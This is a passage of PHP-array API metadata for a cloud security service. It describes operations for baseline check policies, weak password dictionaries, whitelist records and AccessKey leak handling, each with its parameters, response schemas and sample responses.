'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], 'StartegyTargets' => [ 'description' => 'The information about the servers to which custom policies are applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'StrategyName' => [ 'description' => 'The name of the baseline check policy.'."\n", 'type' => 'string', 'example' => 'win ', ], 'StrategyId' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1884', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '14590457', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'example' => '2701ad2e-0e8f-428c-8812-ebb2686e****', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"StartegyTargets\\": [\\n {\\n \\"StrategyName\\": \\"白名单\\",\\n \\"StrategyId\\": 1884,\\n \\"GroupId\\": 14590457,\\n \\"Uuid\\": \\"2701ad2e-0e8f-428c-8812-ebb2686e****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCustomizedStrategyTargets', ], 'ListCheckTypes' => [ 'summary' => 'Queries the types of check items that meet the specified conditions based on the ID of a baseline.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'title' => '指定基线ID', 'description' => 'The ID of the baseline.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~116179~~) operation to query the IDs of baselines.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '34', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned per page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'title' => '指定服务器uuid', 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '293b07cb-db2d-4f39-941f-b2e4abb8****', ], ], [ 'name' => 'ShowChecks', 'in' => 'query', 'schema' => [ 'description' => 'Whether to query the check item list. The default value is false. Valid values:'."\n" ."\n" .'- **false**: Not Query'."\n" .'- **true**: Query', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Default value: **default**. Valid values:'."\n" ."\n" .'* **agentless**: The check items of baselines for agentless detection.'."\n" .'* **default**: The check items of baselines for hosts.', 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The data returned.', 'type' => 'object', 'properties' => [ 'CheckType' => [ 'title' => '检查项类型', 'description' => 'The type of the check item.'."\n", 'type' => 'string', 'example' => 'data_integrity', ], 'CheckTypeDisName' => [ 'title' => '检查项类型展示名称', 'description' => 'The display name of the check item type.'."\n", 'type' => 'string', 'example' => 'Data Integrity', ], 'CheckDetails' => [ 'description' => 'The detail of check items.', 'type' => 'array', 'items' => [ 'description' => 'The detail of check items.', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '31', ], 'CheckItem' => [ 'description' => 'The description of the check item.', 'type' => 'string', 'example' => 'Configure the idle session timeout period.', ], 'AffiliatedRiskTypes' => [ 'description' => 'The list of the baseline categories of attribution.', 'type' => 'array', 'items' => [ 'description' => 'The Baseline classification of attribution.', 'type' => 'string', 'example' => 'Best security practices', ], ], 'AffiliatedRisks' => [ 'description' => 'The list of baselines attribution.', 'type' => 'array', 'items' => [ 'description' => 'The baseline of attribution.', 'type' => 'string', 'example' => 'Alibaba Cloud Standard - Windows 2012 R2 Security Baseline', ], ], ], ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Code' => [ 'description' => 'The response code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"CheckType\\": \\"data_integrity\\",\\n \\"CheckTypeDisName\\": \\"Data Integrity\\",\\n \\"CheckDetails\\": [\\n {\\n \\"CheckId\\": 31,\\n \\"CheckItem\\": \\"Configure the idle session timeout period.\\",\\n \\"AffiliatedRiskTypes\\": [\\n \\"Best security practices\\"\\n ],\\n \\"AffiliatedRisks\\": [\\n \\"Alibaba Cloud Standard - Windows 2012 R2 Security Baseline\\"\\n ]\\n }\\n ]\\n }\\n ],\\n \\"Success\\": true,\\n \\"Count\\": 10,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListCheckTypes', ], 'CreateDynamicDict' => [ 'summary' => 'Creates a dynamic dictionary of weak passwords.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91925', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '123.103.9.***', ], ], [ 'name' => 'Override', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to overwrite existing data. Valid values:'."\n" ."\n" .'* true'."\n" .'* false'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', 'default' => 'false', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'EACE89CB-F32B-5A85-9242-D474A2ED****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::CreateCustomizedDict', ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"EACE89CB-F32B-5A85-9242-D474A2ED****\\"\\n}","type":"json"}]', 'title' => 'CreateDynamicDict', ], 'UpdateBaselineCheckWhiteRecord' => [ 'summary' => 'Updates the whitelist rule for a baseline check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '196445', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16', ], ], [ 'name' => 'RecordId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist record.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '14', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: server'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* **all_instance**: all servers'."\n" .'* **instance**: specific servers'."\n", 'type' => 'string', 'required' => false, 'example' => 'all_instance', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why the check item is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AutoRun', ], ], [ 'name' => 'RemoveContainerUuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'A list of asset UUIDs from which container names need to be removed from the whitelist.', 'type' => 'array', 'items' => [ 'description' => 'The UUID of the asset from which the container name needs to be removed from the whitelist. '."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.', 'type' => 'string', 'required' => false, 'example' => '0e7aac1c-6536-43d1-9df8-73e2a65*****', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RecordId' => [ 'description' => 'The ID of the whitelist record.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1582', ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '92', ], 'TargetType' => [ 'description' => 'The type of the assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* **all_instance**: all servers'."\n" .'* **instance**: specific servers'."\n", 'type' => 'string', 'example' => 'instance', ], 'Target' => [ 'description' => 'The object that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'HOST_BASELINE_WHITE_LIST_23', ], 'Reason' => [ 'description' => 'The reason why the check item is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'Test', ], 'Source' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: server'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'example' => 'agentless', ], 'Lang' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'example' => 'en', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RecordId\\": 1582,\\n \\"CheckId\\": 92,\\n \\"TargetType\\": \\"instance\\",\\n \\"Target\\": \\"HOST_BASELINE_WHITE_LIST_23\\",\\n \\"Reason\\": \\"暂可忽略\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Lang\\": \\"en\\"\\n },\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'UpdateBaselineCheckWhiteRecord', 'translator' => 'machine', ], 'DeleteCustomizedDict' => [ 'summary' => 'Deletes the file that is uploaded to create custom weak password rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91954', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '123.103.9.***', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '85B5D55F-B341-528F-A2CA-AB1207F9****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"85B5D55F-B341-528F-A2CA-AB1207F9****\\"\\n}","type":"json"}]', 'title' => 'DeleteCustomizedDict', ], 'DescribeDefaultKeyInfo' => [ 'summary' => 'Queries the keywords of a custom dictionary that is generated by using weak passwords.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '58.246.73.***', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Names' => [ 'description' => 'The company name.'."\n", 'type' => 'string', 'example' => 'Test', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578A****', ], 'DomainList' => [ 'description' => 'The domain names.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The domain name.'."\n", 'type' => 'string', 'example' => '["*.test123.com","test234.cn"]', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Names\\": \\"****技术股份有限公司\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578A****\\",\\n \\"DomainList\\": [\\n \\"[\\\\\\"*.test123.com\\\\\\",\\\\\\"test234.cn\\\\\\"]\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeDefaultKeyInfo', ], 'CreateUserSetting' => [ 'summary' => 'Creates the risk level settings for baseline check items.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '101932', 'abilityTreeNodes' => [ 'FEATUREsasDM8NT3', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '112.48.16.***', ], ], [ 'name' => 'InvalidWarningKeepDays', 'in' => 'query', 'schema' => [ 'description' => 'The number of days during which you want to retain invalid alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], [ 'name' => 'AlertLevels', 'in' => 'query', 'schema' => [ 'description' => 'The severities of alerts.'."\n", 'type' => 'string', 'required' => false, 'example' => 'high,low', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A1EE5AFD-0867-5F4F-9BE1-EBDD2C35****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A1EE5AFD-0867-5F4F-9BE1-EBDD2C35****\\"\\n}","type":"json"}]', 'title' => 'CreateUserSetting', ], 'ExecStrategy' => [ 'summary' => 'Performs a baseline check on servers to which a specified baseline check policy is applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92281', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n" ."\n" .'> You can call the [DescribeStrategy](~~DescribeStrategy~~) operation to query the IDs of baseline check policies.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '215421', ], ], [ 'name' => 'ExecAction', 'in' => 'query', 'schema' => [ 'description' => 'Set the action for this execution, default is **exec**. Values:'."\n" .'- **exec**: Execute. - **terminate**: Terminate.', 'type' => 'string', 'required' => false, 'example' => 'terminate', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7F84EBCA-86F8-5AA0-BF74-A0276ECB****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], [ 'errorCode' => 'StrategyRunning', 'errorMessage' => 'Strategy is running.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7F84EBCA-86F8-5AA0-BF74-A0276ECB****\\"\\n}","type":"json"}]', 'title' => 'ExecStrategy', 'translator' => 'machine', ], 'DeleteBaselineCheckWhiteRecord' => [ 'summary' => 'Deletes the whitelist record for a baseline check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '196444', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~116179~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '25', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RecordIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the whitelist records.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the whitelist record.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '49639781', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: host baseline'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\"\\n}","type":"json"}]', 'title' => 'DeleteBaselineCheckWhiteRecord', ], 'ModifyAccessKeyLeakDeal' => [ 'summary' => 'Handles AccessKey pair leaks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92345', 'abilityTreeNodes' => [ 'FEATUREsasVQUB1H', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the AccessKey pair leak.'."\n" ."\n" .'> You can call the [DescribeAccesskeyLeakList](~~DescribeAccesskeyLeakList~~) operation to query the ID. You must specify at least one of the Id and **IdList** parameters.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The method to handle the AccessKey pair leak. Valid values:'."\n" ."\n" .'* **manual**: manually handle'."\n" .'* **disable**: disable'."\n" .'* **add-whitelist**: add to the whitelist'."\n", 'type' => 'string', 'required' => true, 'example' => 'disable', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks that are added.'."\n", 'type' => 'string', 'required' => false, 'example' => 'disabled.', ], ], [ 'name' => 'IdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of AccessKey pair leaks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the AccessKey pair leak.'."\n" ."\n" .'> You can call the [DescribeAccesskeyLeakList](~~DescribeAccesskeyLeakList~~) operation to query the ID. You must specify at least one of the **Id** and IdList parameters.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], 'required' => false, 'maxItems' => 50, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DD4617B4-133A-53C8-ADAE-7B30FF89****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DD4617B4-133A-53C8-ADAE-7B30FF89****\\"\\n}","type":"json"}]', 'title' => 'ModifyAccessKeyLeakDeal', ], 'DescribeAccesskeyLeakList' => [ 'summary' => 'Queries the AccessKey pair leaks that are detected on your assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91979', 'abilityTreeNodes' => [ 'FEATUREsasVQUB1H', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether an AccessKey pair leak is handled. Valid values:'."\n" ."\n" .'* **pending**: unhandled'."\n" .'* **dealed**: handled'."\n", 'type' => 'string', 'required' => false, 'example' => 'pending', ], ], [ 'name' => 'Query', 'in' => 'query', 'schema' => [ 'description' => 'The AccessKey ID that you want to query. Only exact match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'yourAccessKeyID', ], ], [ 'name' => 'StartTs', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. You can query all AccessKey pair leaks that are detected later than this time point. The value of this parameter is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1614155361489', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.\\'."\n" .'Maximum value: 100. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'B37C9052-A73E-4707-A024-9247702852BE', ], 'GmtLast' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1612357897000', ], 'AkLeakCount' => [ 'description' => 'The number of AccessKey pair leaks that are unhandled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of AccessKey pair leaks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AccessKeyLeakList' => [ 'description' => 'An array that consists of the details about AccessKey pair leaks.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'DealTime' => [ 'description' => 'The time when the AccessKey pair leak is handled.'."\n", 'type' => 'string', 'example' => '2020-12-03 21:23:38', ], 'Status' => [ 'description' => 'Indicates whether the AccessKey pair leak is handled. Valid values:'."\n" ."\n" .'* **pending**: unhandled'."\n" .'* **dealed**: handled'."\n", 'type' => 'string', 'example' => 'pending', ], 'Type' => [ 'description' => 'The type of the leak. The value is fixed as **AccessKey**.'."\n", 'type' => 'string', 'example' => 'AccessKey', ], 'UserType' => [ 'description' => 'The type of the account to which the leaked AccessKey pair belongs. Valid values:'."\n" ."\n" .'* **master**: Alibaba Cloud account'."\n" .'* **ram**: RAM user'."\n", 